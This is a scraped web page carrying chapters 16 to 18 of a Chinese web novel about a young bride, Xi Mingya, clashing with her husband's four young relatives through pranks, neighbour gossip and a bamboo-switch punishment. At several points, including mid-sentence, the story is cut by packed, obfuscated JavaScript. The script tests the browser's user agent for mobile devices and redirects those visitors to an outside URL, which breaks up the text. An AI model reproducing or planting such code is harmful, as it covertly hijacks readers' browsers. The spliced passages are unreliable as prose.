d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12160522|128805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似乎已经习惯了谭乐生临时出门这件事,并没有太多反应。 思考人生的还在思考人生,瞎玩的瞎玩,整个小院里充满了孩童叽叽喳喳麻雀似的欢快声儿。 奚明亚看了看时间,这会儿不到八点。 夏天天黑得迟,便也没催他们洗漱,而是返回屋里继续收拾。 她的东西杂而多。 这些年奚家存不住钱除了体现在一家六口面色红润,都上得起学,就是每人每年至少能做一身衣服,还能买搓手膏搓脸膏什么的。 电器奚家没几样,日常所需没抠搜过。 用董桂花同志的话讲,辛辛苦苦挣了钱,自己不花孩子不花,万一哪天天降意外,这钱就得给医院花,给三不着五的人花,憋不憋屈啊? 憋屈。 还不如早点享受。 所以奚家几个小的在父母的耳濡目染下,打小就把“花钱”刻骨子里了。 奚明亚更是其中翘楚。 一有钱就会买点什么,时间一长,乱七八糟的小东西就足足装了一个麻袋。 她在屋里忙活。 院子里,谭文宣拽着弟弟妹妹回了右厢房。 “小叔不在家,这个家我们最大,我告诉你们,她就是坏女人,她会抢咱们的饭和肉肉,还会让小叔不疼我们,所以不许亲近她,听到没?” “尤其是你明明,不许扑上去叫她抱。” “可素表哥,舅妈买玩具给我们了。” 欢欢趴在床上,脚欢快地翘来翘去,大眼睛眨巴眨巴,望着大表哥。 双胞胎偶尔吵架打架,但更多时候还是穿一条裤子,刚哭了一场,现在就坚决附和妹妹的话,重重点头,“表哥,我觉得她不坏,她给我们买玩具,也不打人诶。” “对鸭~~~锅锅,舅妈要给我们做肉肉~~~吸溜~~~”说到吃的就流口水的是他亲弟弟。 谭文宣简直恨铁不成钢啊。 被三小只气得小脸胀红,憋屈死了。 “她给你们带玩具是在装贤惠,以后肯定会欺负我们,你们还喊舅妈,是不是缺心眼啊,不许喊。” “听到没,不许喊她舅妈,我们不承认她就不是,她是外人!” “咱们得让小叔知道我们不喜欢他,很讨厌她,不然等她生了孩子肯定会像董浩后妈那样对付我们。” 一说二进院葛嬢嬢的二孙子董浩,懵懂三小只眼底同时浮出害怕,不约而同抖了抖,抱成一团。 董浩后妈太可恶了。 董小强自己要跟着他们跑,每次摔了或是追不上哭了,她就要打骂董浩,还不给他饭吃,还好葛奶奶最喜欢董浩,不然董浩好可怜呀。 “可是董浩后妈很凶,新舅妈一点都不凶~~~”舅妈还会摸我脑袋。 一点也不坏。 高欢小小声辩解。 谭文宣:…… 深感大哥的权威不在,他恼怒道:“你们到底听不听我的?” 三小只面面相觑。 “可素,可素……” “不听我的,以后就别叫我哥哥,我不带你们玩了,我没你们这么笨的弟弟妹妹。” 一句“不带你们玩”精准戳中了小朋友们的死穴。 三人苦着脸半天。 在“带玩具的漂亮舅妈”和“陪玩的哥哥”中选择了后者。 “不要,不要,要大哥一起玩,嗯,她是坏女人,我们不听她的。” 谭文宣心里舒坦了。 “那明天看我脸色行事,咱们要给她一个下马威,叫她不敢趁小叔不在家就欺负我们。” 16.第 16 章 右厢房几个小鬼正在密谋捣乱。 奚明亚则开始视察自己的“领地”了。 正房三间,中间是待客的堂屋,左手边是她和谭乐生的卧房,右手边是书房。 卧房里很空。 除了床,一个崭新崭新透着油漆味的柜子和长条书桌,就什么都没有了。 奚明亚打开书桌第二个抽屉。里面有谭乐生的另一张存折,三千八。 加上给自己的一千,应当是他在部队十年的所有积蓄。 一叠零碎的钱、票。 还有一个盒子,盒子里装着他当兵时得过的奖章、跟首长的合影、转业前跟战友们的合影,最底下是一张土地房产证。 奚明亚看了看,有点小激动,还有点小感动。激动的是自己眼光不错,选了个工作踏实、很有冲劲,攒得住家底的男人。 感动的点则在于谭乐生没有防备自己的意思。换个人,她估计白眼一翻,评价一句人傻钱多。 但受益者是自己嘛…… 哦,那没事儿了。 不过有系统珠玉在前,这份激动显得大打折扣,没两分钟她就彻底淡然了。 奚明亚把东西放回抽屉,开始整理衣服。 她的衣服其实不多,来来回回就那么几套。家里六口人,每个月布票份额都有数,董桂花又不是抠自己嘴里吃喝养孩子那种人。 她给几个孩子做衣服,必定先给劳苦功高的自己和奚苏华安排上。 所以做一次就是六套。 不仅份额内的票花光,还要花钱或拿东西跟附近街坊换票证。 街坊们说董桂花两口子独,其实少不了羡慕嫉妒的成分。 毕竟有儿有女的,谁像他们这样潇洒啊? 一群为儿孙奉献全部的老黄牛里就他两口子不合群,不叨叨他们叨叨谁? 奚明亚将厚衣服和薄的分开。 衣柜是三门的,她把谭乐生的东西单独放一列,自己则霸占了三分之二空间。 整理好衣服,开始套被子。 原本就在床上的她没收,只是往里挪了挪。而另一床新的直接收进衣柜。 系统出品的护肤组,她大喇喇摆在靠窗书桌。 反正男人大都五大三粗。 对女孩子用到的东西几乎没有概念。像她爸,蛤蜊油和雪花膏都分不清,一忽悠一个准。 何况这些瓶瓶罐罐跟现在百货商场里的高档护肤品别无二致,奚明亚一点不怕他看出什么。 等个人物品全都整理完毕,她开始探索正房其他区域。 堂屋没什么可看的。 一张桌子,几把椅子,正对大门墙上贴着伟人画像,两排放杂物的矮柜。隔壁书房里,书架、梳妆台倒是很齐乎,还有两个做工精细的五斗柜。 书架上摆着一大摞练字帖、花鸟画,还有一格收着一堆发黄的信纸,看起来有些年头了。 奚明亚迟疑片刻,最终抵不过好奇心拿起来看了看。 寄信人一部分是谭民生、一部分谭念生,谭乐生的也有。 但区别是,前两人的拆过,而谭乐生的几封拆都没拆开。 奚明亚扫了一眼时间,下意识皱眉,没拆又把它又放了回去。 她觉得老太太挺奇怪的。 这屋里的陈设,配合屋檐那一排无人打理快要死透的花,谭乐生他妈显然是个讲究的老太太,不仅讲究,还胆大有底气。 否则这样不接地气不够朴素的屋内摆设,她就不怕突然有人冲进来打砸? 可就是这么个讲究人儿,干的事却不怎么讲究。 都是她的儿女,她区别对待着实严重。 谭乐生最后两封信的时间跟隔壁盒子里的采访、奖章一对照,显然是受了伤且伤得不轻的情况下给家里来的信。 结果…… 配合谭乐生提了一嘴的同母异父…… 她猜,莫不是老太太很不喜欢谭乐生他爹,所以也不待见谭乐生? 可偏偏土地证上又只有谭乐生的名字,没那兄妹俩,就实在叫人费解。 算了,不想了。 左右不是什么大事。 又搬家又收拾屋子,这会儿浑身上下全是汗,奚明亚迫不及待想要冲澡。 她回房取了换洗衣服和毛巾脸盆。 出门一看,几个孩子不在院子里,右厢房里亮着灯。 奚明亚走近,就听到“老大”在训话,几个小的奶声奶气应着。 她勾唇笑了笑。 没惊动他们,就倚在门边听着,等几人话题拐到皮球上,她才慢悠悠地敲了敲门。 陡然出现的“咚咚”声,惊得谭文宣差点跳起来,颇有点心虚下的恼羞成怒,“你突然敲门做什么??” 奚明亚眨眨眼。 掩住成功吓人的笑意,故作不懂问,“怎么了?怎么突然生气了?” “不关你事。” 判断出她没听到什么,谭文宣浑身炸起的毛缓缓顺下去,“你还没说,你来干什么?” 奚明亚晃了晃脸盆和毛巾。 “洗澡房在哪?对了,你不打算带弟弟妹妹们洗澡吗?” 谭文宣扭头。 入目的便是弟弟脖子上那一圈圈黑线,旁边的双胞胎也差不多。 他又低头看了看自己的指甲盖和手指,也脏脏的,顿时,小少年心里涌出一股羞耻感。 他们被这个女人嫌弃了。 小孩儿自尊心强,又对奚明亚抱着敌意,越是感到羞耻表现出来的越是张牙舞爪,无能狂怒。 他像头愤怒的小牛犊子,狠狠瞪着奚明亚:“不用你管,我们才不脏。” 奚明亚挑眉。 似笑非笑:“真的不脏吗?不脏的话你气什么,小鬼?” “大热天不洗澡味儿多难闻啊。这样,我先帮欢欢洗,一会儿你监督两个弟弟洗澡,怎么样?” 谭文宣正气着,刚想大声宣布他不承认她这个婶婶,结果就被“洗澡安排”带偏了。 以为抓住了奚明亚偏心偷懒的把柄。 立马得意洋洋道:“哦~~~你偏心,你只给欢欢洗,不给阳阳和明明洗,等小叔回来我就告诉他。” 奚明亚可不惯着。 也没有对小孩亲亲抱抱举高高各种讨好的习惯。 当即翻了个白眼,“这就叫偏心啊,我帮妹妹洗,你监督弟弟有什么奇怪的,难道你不是小男子汉无法胜任这个任务,你是跟他们差不多的小孩儿?” “那你回头跟你小叔说吧,以后让他照顾你洗澡。” 谭文宣脸蛋更红了,这次不是气的,是羞的。 ……他才不是三四岁的小屁孩呢。 “监督就监督,我肯定完成任务。” 说完,他的小脑瓜又觉得哪里不太对的样子。 “那行,先帮忙烧水。” 如果她一个人洗,奚明亚冷水澡冲一冲就行了。但几个小孩也要洗,那就必须烧热水,否则嫁过来第一天就让他们受凉进医院,外人还以为她怎么着他们了呢。 直到烧完热水,帮两个弟弟洗完澡,看三小只浑身香喷喷地在床上滚来滚去。 谭文宣恍然大悟。 坏女人是个奸诈鬼。 居然使唤自己把她该干的活儿干了一大半,可恶,太可恶了! 在对奚明亚的抱怨中,他翻了个身,慢慢睡熟了。 这边一片和平。 谭乐生那边就是兵荒马乱了。 下午龙江塘大队和隔壁红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12169600|128805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光大队为了抢水库的水,纠集两个大队的年轻人械斗。 结果水库水位下降后,靠山里侧淤泥里挖出了尸体,还不止一具。 这事大条了。 两个大队抄着扁担锄头械斗的年轻人当场被吓傻了。 这时候人口流动多低啊,尤其是在农村,一两个公安特派员就能负责整个乡镇的社会治安。 这是什么概念呢? 一个乡镇大概有好几个生产大队,按照村子来划定,少说十几二十个村子,好几万人口,但基本都是盗窃和斗殴类,极少有闹出人命的重特大案件。 城里公安多一点。 但穷凶极恶的案子其实也少。 试想一下,如果作案以后逃跑,没有介绍信,没有别的身份证明,在外地也很难立足。一个地区突然来一个面生的外地人,这在当下都是非常显眼的事。 不是穷途末路之人,谁敢犯大案? 谭乐生他们平时忙的其实也是偷窃、耍流氓、不良风气这些比较多。 都是小而杂的案子。 这案子是生产队报到镇上,镇上直接报到市公安局。因为只有市里才有法医,案子自然而然转移到市局。 谭乐生一转业就拿了跟局长差不多的工资,他又年轻,局里难免有犯了红眼病想给他找事干的人。 人家也想摸摸他的底,看看他的本事。就把这案子推给了他在的刑警一队。 到了现场,他们才知道什么叫混乱。 水库在两个大队中间,可哪个大队都坚称自己生产队没有失踪人口。 问社员们,社员们也提供不了有用信息。法医判定三具骸骨死亡年份还不一样,显然,水库一角成了某个人的固定抛尸点。 抛尸的人肯定就是这附近的人。 最关键的是,三名死者都是谁也确定不了。 …… 次日一早。 天刚亮,房门就“啪啪”作响。 奚明亚迷迷糊糊醒来,看着空旷许多的屋子发了好几秒呆。 有点不知身在何处的的恍惚感。 从前姐妹俩在拥挤的空间里挤着时她迫切想要舒展开阔的大屋子。 可等来了这跟逼仄不沾边的地方后,又有点怅然若失,忽然怀念跟明美那臭丫头抢被子抢炕的生活。 她搁这儿抒发惆怅,门外是魔音灌耳,“起床,舅妈你快起床做饭~~~” “婶婶,小叔不在家,你就不给我们弄早饭,你先虐待我们吗?” “……” 一个小孩是一只小鸭子,四个小孩是一群鸭子,呱呱呱,呱呱呱,吵得奚明亚只想揍人,完全没心情抒发感情了。 他们吵,她也吼。 “再吵我,不仅早饭没了,午饭晚饭也没了。我要让你们见识下什么叫一天饿三顿,三天饿九顿!” 门外终于安静了。 奚明亚穿衣下床,拉开门,几个小孩呼啦啦跑开,居然没进来。 奚明亚狐疑,没当回事。 眯着眼睛打着呵欠往院里走,脚刚踩到台阶上,就听到几个孩子“哈哈哈,嘻嘻嘻”的的声音。 脑中警铃大作,但此时已经来不及了。 几乎在浑身汗毛竖起的瞬间,脚下滑溜溜的触感就传到大脑。 一瞬间的功夫,她上半身歪歪扭扭跟踩在雨天的青苔上一样,上半身和下半身彷佛分家了。 两条腿拼命往台阶下滑,带着屁股誓要跟台阶来个亲密接触。。 胳膊则想力挽狂澜,不受控制在空中胡乱挥舞,整个场面又惊险又滑稽。 好在奚明亚平衡力不错,才没摔个大马趴。 而正在嘲笑她的几个孩子见她平稳落地,顿时惊恐尖叫着一哄而散。 17.第 17 章 奚明亚:…… 当脚彻底踩实在地面,腿才后知后觉颤抖发软,心里涌出一股后怕。 她整个人都有点惊魂未定。 自己若真滑溜着摔楼梯上,轻则屁股疼一疼,重则脊椎脑袋被磕,死了都有可能。 这叫奚明亚很火大。 她目光围着满院子巡视一圈,没找到棍子,而几个孩子一哄而散躲回西厢了。 奚明亚沉着脸,目光幽幽,看着西厢门好一会儿,才哼了声收回视线。 回头查看台阶。 就发现上面有一层白色类似凝固猪油的东西。她半蹲下身体,食指往台阶处一抹。 不是油,而是肥皂,整整涂满三步台阶少说浪费一大块。 不用说,这肯定就是谭文宣昨晚说的“下马威”。 哦,好厉害的下马威,确实把她吓了一跳呢。 既然这么能折腾,不如先饿上一顿让他们老实老实。 这个想法一出来,脑子里另一个小人就拿着竹条指黑板:你忘了吃饭要打卡吗? 一个崽三顿饭值5个积分哦。 一斤肉5个积分、一瓶1L的牛奶3个积分、葡萄、芒果好多听都没听过的水果一份才几个积分…… 日常任务很值钱!!! 很快,另一个小人儿挥着藤条:可是他们今天差点害你残废,差点害死你! 不要积分也得收拾他们。 …… 奚明亚垂首,想了想收拾是肯定得收拾的,但没必要赶在饭点,这又不是非得二选一的事,谁说不能秋后算账了? 她是想薅系统羊毛。 可前提是这是崽,不是小畜生。 孩子调皮捣蛋不听话没什么,说实话,小孩就没几个乖的,但捣乱往要人重伤上来,问题就大了,必须得上棍子。 奚明亚歇了让他们饿体肤的心思。 不过没关系。 不饿但能以其人之道还治其人之身嘛。 她琢磨着下午放学要怎么还回去。 冷凝的面孔逐渐放松,哼着小调到厨房煮早饭去了。 “表哥,舅妈去厨房了。” “她好像没生气~~~” 谭文宣兄妹四个躲在西厢门后,鬼鬼祟祟往外瞅,各个偷感十足。 “说了不要喊舅妈。” “哦,那喊什么鸭~~~” “……算了,你们想怎么喊就怎么喊。”谭文宣烦躁地推开弟弟的脑袋,心里有点摸不着底,他在想她怎么没追过来骂人啊? 她不打他们吗? 越猜不到对方情绪,小孩其实越心虚。恶作剧带来的快乐和得意在这个时候全化成了无措。 他一会儿跟弟弟妹妹一样,撅着屁股趴窗口偷看对面,一会儿又想遛到厨房门口观察敌情,隔一会儿还陷入自我怀疑中,怀疑自己是不是太过分了,不该这样耍奚明亚…… 奚明亚进了厨房,才发现里面除了锅碗瓢盆,要啥啥没有。 别说菜米面,连调料都只有盐巴。 她只能忍着心痛,花了8个积分从兑换商城里兑了几根玉米棒子。 还花10个积分在今日特价栏里买了20个鸡蛋。 现在余额变成了11。 她经常搞不懂兑换商城的物价。 肉类明明比蔬菜难得,在商城里一斤肉和一斤菜要的积分没区别。 有些菜,譬如某几种菌菇类甚至比肉要得多。而像玉米这种……明明是农村里最常见的作物,五根新鲜玉米却需要8个积分。 可玉米粉又特别便宜。 5积分能买一袋10斤…… 若不是别的太麻烦也不好解释,其实她最想换的是肉。 算啦,有的买还要什么自行车? 总比捏着钱和票都花不出去,还得冒风险勇闯黑市来得强。 等等,黑市…… 粮站大米供应凭票1毛6一斤,黑市能卖3~5毛一斤。系统的细粮便宜,不限购,拿到黑市上转一圈,岂不是发了? 这时候细粮是硬通货,不愁卖的。 至于危险? 自己力气大,完全可以扮成男人呀。对了,系统化妆套组里好像还有假发…… 奚明亚一心二用,很快早饭熟了。 “赶紧滚过来洗脸吃饭。” 她扯着嗓子吼了一声,没管他们出没出来,拿起自己那份自顾自先吃上。 谭文宣终于松了口气。 绷着的那股劲儿一松,他又开始嚣张了:“看,我就说她不敢把我们怎么样。” “她肯定是怕小叔生气揍她。” “那她不欺负我们就是好舅妈,表哥,我可以让她抱我去托儿所吗?”高欢捂着嘴,小声问表哥。 “窝也想要舅妈抱窝~~~” “不行,她现在不欺负我们全是装的,等你跟她好了她就会打你,骂你。所以,我们还是得把她赶走。” “哦~~~” 他们吃饭也嘀嘀咕咕个没完、 奚明亚没在屋里守着,点击系统上方的“照相”功能,把他们吃早饭的图上传后,又洗了个脸,回卧室擦护脸霜去了。 图片秒传成功。 日常任务那儿显示完成1/3,积分+8,签到积分+2,总积分变回21。 午饭+晚饭还能搞个10多分。 不知道给他们安排作业再上传,能不能加分,奚明亚决定晚上再细细摸索。 但不管随机分能加多少,固定日常一天能赚20多,天天吃肉吃蛋都没问题…… 这日子,简直美极了! 搁一个月前,她绝对不敢做天天吃肉吃水果的美梦。 谁能想到,就这么实现了呢??? 看在他们如此值钱的份上,下午她收拾他们,会下手轻一点。 谭文宣带着三小只吃完饭。 就嚷嚷着让奚明亚送他们去学校,“婶婶,你会送我们去的吧?” 奚明亚浑身散发着温柔的光芒,轻声细语道:“当然啊,你小叔把你们托付给我了。” 谭文宣小表情得意坏了。 “好吧,那我们看你表现了。” 奚明亚:……呵呵,小兔崽子还看我表现?可把你牛逼坏了。 “那你等着,婶婶一定好好表现,让你们看看什么叫好婶婶。” “嗯。” 谭文宣骄傲挺胸,也不管高阳几个看得懂不,反正不忘给他们使眼色—— 看,哥哥厉不厉害? 小小一招,就灭了坏女人的气焰。 他这股得意一直持续到回家。 一路上,谭文宣都在想趁着奚明亚敢怒不敢言再捉弄她几次,好几次想着想着就笑出了声。 结果脚刚踩进跨院大门,一桶水兜头降下,瞬间把他淋成落汤鸡。 还没等他反应过来,又是一块黄色屎状物体迎面飞来,糊了他一脸。 “啊!!!” “这是什么?” 这一张口不得了。 不可名状的糊糊物体碰上水,顺势流下滑进嘴里,谭文宣已经辨别不出什么味道了。 而院子里,几个煤气罐原地蹦跶鼓掌。 “我锅锅好厉害,敢吃屎!” “是呀是呀,表哥好厉害呀,舅妈,好好玩啊~~~” 吃屎。 吃、屎! 吃……屎??? 谭文宣宛若雷劈,满脑子都是自己吃屎,自己好厉害……他目光呆滞,望着正前方双手环胸,得意挑眉的奚明亚。 霎时间,泪水狂飙,“哇——”地一声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这个点,放学的放学了,下班的下班了,整个一进院、二进院、三进院加起来住了二十来户,一百多号人。 即便听见动静的只有二进院,不是所有人都爱凑热闹,但为谭文宣撑腰的队伍还是浩浩荡荡往跨院去了。 跨院门没关。 大家一过来就看到谭文宣浑身湿漉漉,脸上、胸口糊了一大片黄黑黄黑的污渍,他手撑门框上。 一边哭,一边哕。 哭两声,哕一下。 而谭公安刚过门的的媳妇儿则站在不远处哈哈笑个不停。 来的都是平时就喜欢扎堆说三道四、爱管事的几个,全当妈、当奶奶了,一看眼前这场景,顿时心疼坏孩子了。 也气炸了。 正义感那是蹭蹭往上涨! “谭家的,你这是,这是做什么呢?” “对呀,孩子哪里做错了你就好好教嘛,哪能往门上绑桶捉弄人啊?” 哎哟哟。 那桶悬脑袋上,别不小心掉下来砸到人。 说话的牛玉芬忙把林春几个往里拽了拽,离大门口远一点。 面对奚明亚,她多多少少带了点做媒不成的怨气,数落起来一点不客气,“不是自己生的果然不会真心带,我就猜到谭公安娶老婆几个孩子要遭罪,还以为多少能装一阵子,结果第二天就折腾上了。” “谁家新媳妇像你这样啊?”林春也跟着附和指责,“徐大妈也不查清楚,早晓得结婚第二天就虐待孩子,还不如让玉梅嫁给谭公安呢。” 18.第 18 章 奚明亚竖起耳朵。 玉梅?是裴玉梅吗?原来裴玉梅同谭乐生相看过啊? 那晚了。 谭乐生是自己的,系统也是自己的,她可不会感到抱歉。 林春以为搬出裴玉梅,奚明亚就会气急败坏跟她吵起来。她再用裴玉梅的善良持家让奚明亚羞于见人,自惭形秽。 没想到对方脸上还挂着莫名其妙的笑容,一拳打棉花上,反倒把林春气狠了。 葛嬢嬢见谭文宣如此狼狈也垮了脸。 不过她说话没牛玉芬几个直白,有点打圆场的意思。 “奚同志,昨晚听谭公安介绍你姓奚是吧?小奚同志,你现在是孩子长辈,不是没出门子的大姑娘,谭公安不在家,不说把孩子照顾得多周到,好歹要稳重点,不能跟着孩子一块淘气啊。” “文宣,来,过来,葛奶奶带你洗脸换衣服。” 谭文宣:…… 别问,问就是自尊心被创了个大的,碎成渣渣了,问就是后悔。 本来囧样只有坏女人和3个小屁孩知道。现在大壮妈(牛玉芬)知道了。 大壮妈知道,那跟所有人知道有什么区别? 呜呜呜。 他再也不是别人嘴里优秀稳重的乖孩子了。 越想谭文宣越破防。 哭得越厉害。 他脚跟生根了一样葛嬢嬢怎么拉都拉不动。 奚明亚一看就知道这孩子觉得脸丢大了,走了那就是彻底认输。 正破罐子破摔呢。 “大家别着急。” “我们这是在训练反应力呢。你们看,三个小的反应很快身上干干净净,文宣呢,走路老爱看书不看路,这才闯关失败了。” “早上我以身作则当着他们面也表演了一下自己反应快不快的。邻居们,我知道你们是好心,但有一点我希望大家别搞得太复杂,什么不是亲生的就不真心的话以后别说了。” 这是点自己呢。 牛玉芬被臊得老脸红了红。“那你本来就不是亲生的。” 奚明亚唇角勾起一个弧度,开玩笑般问道:“我这么年轻,亲生的还得了?” 牛玉芬噎住。 奚明亚不希望院里闹点什么动静,邻居们就一窝蜂围过来指指点点。 是,这时候街坊邻居都不太把自己当外人。哪家出点事大家都乐意帮忙,不过也乐意占据高地指责。 有利有弊。 她也喜欢看别人被指责,但不喜欢谁指点到自己头上。 什么,你说这叫双标? 那不然呢。 但凡能让自己更舒坦,别说双标,三标四标都行。 所以—— 现在就是把邻居们的热情打压下去的最好时机。 “他们不是我亲生的,谭乐生也不是他们亲爹啊。大姐,你别怪我说话不中听,刚才你的话真叫我心寒啊,我才嫁过来你们就拿别的女同志跟我比较,给我扣帽子,搞得好像谭乐生是他们爹,我是要作践他们的后妈一样。” “咱们做家长的教育孩子的方式本来就不一样,你管你的,我管我的,咱别什么都没弄明白就跳出来一通臭骂。像现在,我没捉弄他也没欺负他,结果在你们嘴里我快成恶毒代表了。” “呐,实在不信,你们问问文宣自己。” 奚明亚无奈摊手。 递了个眼神给哭得鼻涕眼泪抹一脸的大侄子:你要闭着眼说我欺负你,我可要说你早上折腾我的事了! 谭文宣心一提,抿嘴。 奚明亚说起话来始终笑眯眯的,只在某些字眼上加重语气,间歇叹一口气,彷佛一点没恼,但言语间被温柔裹着的尖锐又不容忽视。 所有人心里不约而同产生有了一个印象:小媳妇不好惹,但也不算撒泼不讲理。 葛嬢嬢见得多啊。 没那么容易被带偏,她一脸震惊,从没听过谁教孩子是往人身上浇水的。 这肯定是小媳妇的狡辩之词。 今天就算要被骂瞎掺和,她还是不能让这事就这么过去了。 否则文宣这孩子多可怜啊。 爹妈没了,在小叔家寄人篱下,还要被婶婶欺负…… 她关切地看向谭文宣:“文宣别怕啊,葛奶奶和嬢嬢婶子们都在这里,你想说什么就说什么。” 她眼神鼓励。 谁知谭文宣哭声竟慢慢停下来了。 “……是,是婶婶在锻炼我们的反应力,弟弟妹妹过关我却失败了,我才哭的。” “我不够专心,不该走路不看路,呜呜呜……” 奚明亚内心冷哼。 这小子还挺能屈能伸,没死犟到底,顺着台阶就下来了。以后别人说起他的“丢脸”都是因为太爱学习,走路都在看书呢。 别说,自己像他这么大时,可没他包袱重,也没他这么爱面子。 葛嬢嬢没想到会听到这样的答案,很是尴尬,脸上的皱纹跟着颤了颤。 看着眼前孩子绯红的脸蛋,就算心知肚明这事里头有说法,也不好再跟奚明亚争下去。 她有什么看不明白的? 摆明了新媳妇想教训孩子,孩子心里委屈不敢抱怨呀。 至于为啥另外三个跟在新媳妇身边嘻嘻哈哈,他们小嘛,能懂什么? 文宣这孩子不告状,外人若是一味替他讨公道,反倒叫小媳妇儿记恨,没准以后更加苛待。这个问题得跟谭公安聊聊。 哎。 葛嬢嬢心疼不已,温声道:“学习不差路上这点功夫。” “快去洗澡吧。” 谭文宣这次听话了。 再“成熟”也是个孩子,当局面不在自己掌控中时孩子的本性驱使他们逃避。 走之前他还鸡贼地把弟弟妹妹们一起弄走了。生怕他们口无遮拦说出吃屎真相,破坏他好不容易挽回的形象。 葛嬢嬢是附近出了名的老好人,爱管事。 但她又不爱跟谁针锋相对。 哪怕心里觉得奚明亚厉害不是谭乐生的良配,也照顾不好孩子,面上还是利落地道歉,“小谭媳妇,是我们误会你了。” 奚明亚:“理解,大家也是为几个孩子着想,都是心存善良的人,才会顶着压力来问个究竟。” “我年轻,方才听大家误会我一下就急眼了,说话不自觉重,其实我对大家没有什么意见,也希望你们多多见谅。” 这话说得熨帖,大家听得舒服极了。 就连刚被中门对狙过的牛玉芬都不由得感到惭愧。 其实想一下,自己都这个岁数了,因为说媒不成迁怒到十八九岁的姑娘头上,做得的确难看。 但让她像葛嬢嬢那样收放自如是不可能的,她好面子呢。 “咳!既然弄清楚了,咱就散吧,一会儿我家老张要回来了,我先回去做饭了。” “我也是。” “小奚啊,回头来找咱们唠唠,你文化高,也教教我们孩子都需要训练啥。” “看着还挺新鲜呢。” “好,有空我就去叨扰你们……” 等外人都走了,奚明亚把院子大门一关,免得一会儿又有热心肠的邻居进来打断施法,这事没完呢。 她抄起白天特意找的斑竹条,邦邦敲门。 “出来,咱们算一算早上的旧账。” “哟,敢做不敢当了?哟哟哟,让我看看,老谭家居然有四只缩头乌龟啊。” “不主动出来是吧?那我可主动进去了啊。” 这个哟,这个啊,阴阳怪气感直接拉满。 三个小的只听得出舅妈在生气,不懂嘲讽不嘲讽,所以只是怯怯的,有点害怕。 但谭文宣正是自尊心强,爱面子的年龄。心思又比普通小孩敏感,忽然从被父母奶奶姥姥捧着疼着的聪明宝贝蛋变成‘寄人篱下’的小可怜,心理落差不是一般大。 奚明亚没下重话。 只是略阴阳了些他就坐不住了,差点把自己当成受了胯下之辱的韩信。 气呼呼打开门冲出去。 愤怒质问:“你还想怎么样?” 奚明亚面不改色,握着竹条对空气挥了两下。“你早上想害死我,看在我是大人你是小孩的份上,我打你三下,这事就过了。” 谭文宣脑子懵懵的,下意识反驳:“我没有。” “你没有?” “你不知道头磕台阶会死人?你不是想弄死我,让你小叔死老婆?” “不是,不是。”指控太严重,谭文宣被吓住了。他只是想捉弄不在期待里的奚明亚,没想杀人。 他怎么可能杀人呢? 奚明亚谅他也不敢,但捉弄人没有度也是错。面无表情道:“就算没那个想法,也做出了杀人的行为,这点你认不认罚?” “……” 谭文宣涨红着脸,刚哭过的眼皮微微肿起,倔强地瞪着奚明亚。 奚明亚也瞪他。 双方互不让步,最终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12207358|128805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谭文宣败下阵来,赌气似地吼道:“你罚啊。” 边说边把手伸出去。 动作果断得很,但当手心传来火辣辣的痛意,他身体忍不住抖了抖,表情惊愕。 他认错了,也承认早上做得过了,但心里未尝没存侥幸,以为奚明亚雷声大雨点小,不敢真的打他。 谭文宣不可思议地看着奚明亚。 奚明亚挑眉,“手伸出来,别缩啊。” “舅妈,别打锅锅~~~~” “你别着急,竹笋炒肉一会儿也有你们的。”要不是小孩抵抗力差点,那水也有他们一份。 “肉肉?舅妈,我要次~~~” 小家伙压根没听懂,仰着头笑得傻乎乎的。 旁边的双胞胎机灵古怪,但没到能听懂潜台词的地步,以为有肉吃就代表舅妈没生他们的气,两小只齐齐松了口气。 手牵手,好奇地看着快要哭出来的表哥。 谭文宣脸皮滚烫。 手心的痛就算五官扭曲他还能忍受。 他不能忍的是自己挨打的场面被三个小屁孩围观了。 不仅被围观,三小只完全不明白他的负重前行,为了一声“肉”又开始围着敌人转了。 谭文宣再也绷不住。 眼泪硕大一颗,一颗接一颗,倾盆而下。 他被打完,三小只也没逃脱雨露均沾的命运。 各个掌心都被打了。 谭文宣好面子不敢再大哭,三小只没顾虑,一时间跨院里哭得嗷嗷的。 哭声传到二进院那边,葛嬢嬢听得心惊肉跳,正好几人因为刚才那一出还扎堆聊着奚明亚。 葛嬢嬢就忍不住咕哝:“……我就说几个孩子要被打……哎,咋就不是玉梅……” 牛玉芬笑一声:“葛嬢嬢你可别乱点鸳鸯谱啦,人家裴玉梅跟吴家老三处着对象呢。” 这下轮到葛嬢嬢懵逼了。 “啥?” “啥时候处的?” 牛玉芬跟林春对视一眼,“您还不知道?” 